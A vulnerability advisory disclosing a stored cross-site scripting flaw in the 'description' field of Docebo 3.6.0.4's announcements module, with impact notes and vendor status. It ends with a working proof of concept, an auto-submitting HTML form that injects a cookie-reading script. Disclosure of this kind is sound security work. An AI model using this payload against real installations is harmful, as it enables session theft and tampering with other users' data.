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XSS vulnerability in Docebo Announcements



Vulnerability ID: HTB22612
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_docebo_announcements.html
Product: Docebo
Vendor: Docebo ( http://www.docebo.org/ ) 
Vulnerable Version: 3.6.0.4 and probably prior versions
Vendor Notification: 20 September 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "doceboLms/index.php" script to properly sanitize user-supplied input in "description" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/doceboLms/index.php?modname=advice&op=upadvice"; method="post" name="main" >

<input type="hidden" name="idAdvice" value="2" />
<input type="hidden" name="title" value="Hello" />
<input type="hidden" name="description" value='1"><script>alert(document.cookie)</script>' />
<input type="hidden" name="addadvice" value="Save changes" />

</form>
<script>
document.main.submit();
</script>